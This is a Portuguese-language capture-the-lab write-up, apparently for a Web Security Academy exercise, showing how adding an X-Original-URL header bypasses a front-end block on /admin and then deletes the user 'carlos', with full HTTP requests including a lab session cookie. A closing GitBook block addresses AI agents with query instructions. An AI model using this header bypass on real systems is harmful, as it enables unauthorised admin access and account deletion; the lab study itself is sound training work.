> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/access-control/bypassing-url-based-access-control.md).

# Contornando o Controle de Acesso Baseado na URL

### O controle de acesso baseado em URL pode ser contornado

Neste exercício, o site tem um painel de administração localizado em **/admin**, oficialmente bloqueado por um filtro frontal que impede o acesso externo. / No entanto, a aplicação de back-end usa um framework que reconhece o **X-Original-URL** cabeçalho, contornando assim a restrição.

<figure><img src="/files/37a84fff27f496b1bb2ac3b3e8e11b6d340e3754" alt=""><figcaption></figcaption></figure>

#### **Análise e Exploração**

Ao tentar acessar diretamente **/admin**, o acesso é negado. / Para contornar esse filtro, basta interceptar uma requisição (por exemplo, para a `/` raiz) e adicionar o seguinte cabeçalho:

```http
X-Original-URL: /admin
```

Exemplo de requisição modificada:

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

O servidor de back-end interpreta esse cabeçalho e retorna **200 OK**, concedendo acesso ao painel de administração.

<figure><img src="/files/cfff72a0dced23791da6f7654263240da9762249" alt=""><figcaption></figcaption></figure>

#### **Exclusão do usuário**

Para remover o usuário **carlos**, uma nova requisição é forjada redirecionando a URL interna com o mesmo cabeçalho:

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

A exclusão é então realizada com sucesso.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
